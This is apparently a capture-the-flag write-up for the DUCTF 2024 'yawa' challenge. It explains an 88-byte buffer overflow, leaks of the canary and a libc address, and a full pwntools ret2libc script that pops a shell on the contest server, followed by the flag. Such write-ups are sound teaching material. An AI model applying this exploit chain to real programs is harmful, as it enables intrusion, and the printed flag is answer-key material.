We are given a binary with all protections turned on, and c source code..

[d@d-20tk001gus yaw]$ pwn checksec --file=yawa
[*] '/home/d/Downloads/DUCTF24/yaw/yawa'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts("1. Tell me your name");
    puts("2. Get a personalised greeting");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

int main() {
    init();

    char name[88];
    int choice;

    while(1) {
        choice = menu();
        if(choice == 1) {
            read(0, name, 0x88);
        } else if(choice == 2) {
            printf("Hello, %s\n", name);
        } else {
            break;
        }
    }
}

First, we need to leak out the canary. We can do this by filling the name buffer with 88 bytes. Then, when we select option 2 and name is printed, it will also print out the canary

    r.sendline("1")
    r.sendline(b"A" * 88)
    r.recv()
    r.sendline("2")
    
    r.recvuntil(b"A" * 88)
    canary = u64(r.recv(8).strip().rjust(8, b'\x00'))
    print(hex(canary))

Next we need to get the libc base address. Examining the stack with gdb, I saw that the return address was __libc_start_call_main+128 and it was 104 bytes from our buffer. We send 103 bytes because of the newline character.

    r.sendline(b"1")
    r.sendline(b"A" * 103)
    r.recv()
    r.recv()
    r.sendline(b"2")
    r.recvuntil(b"A" * 103)
    libc_leak = u64(r.recv(7).strip().ljust(8, b'\x00'))

Using this leaked address, we can calculate the libc base address. Now we can use whatever gadgets we want in the provided libc. Easiest way to pop a shell is using system with /bin/sh. Full solve script below.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./yawa_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

context.binary = exe
context.terminal = ["alacritty", "-e"]

def conn():
    if args.LOCAL:
        r = process([exe.path])
    else:
        r = remote("2024.ductf.dev", 30010)

    return r


def main():
    r = conn()
    libc_start = libc.sym.__libc_start_call_main + 128

    r.sendline("1")
    r.sendline(b"A" * 88)
    r.recv()
    r.sendline("2")
    
    r.recvuntil(b"A" * 88)
    canary = u64(r.recv(8).strip().rjust(8, b'\x00'))
    print(hex(canary))

    r.sendline(b"1")
    r.sendline(b"A" * 103)
    r.recv()
    r.recv()
    r.sendline(b"2")
    r.recvuntil(b"A" * 103)
    libc_leak = u64(r.recv(7).strip().ljust(8, b'\x00'))
    
    libc.address = libc_leak - libc_start
    print(hex(libc.address))

    pop_rdi = libc.address + 0x000000000002a3e5
    ret = libc.address + 0x00000000000f410b
    sys_addr = libc.sym["system"]
    binsh = next(libc.search(b"/bin/sh")) 


    payload = flat([
        b'A' * 88,
        canary,
        0,
        pop_rdi,
        binsh,
        ret,
        sys_addr
    ])

    r.sendline("1")
    r.sendline(payload)
    r.sendline("3")


    r.interactive()


if __name__ == "__main__":
    main()

DUCTF{Hello,AAAAAAAAAAAAAAAAAAAAAAAAA}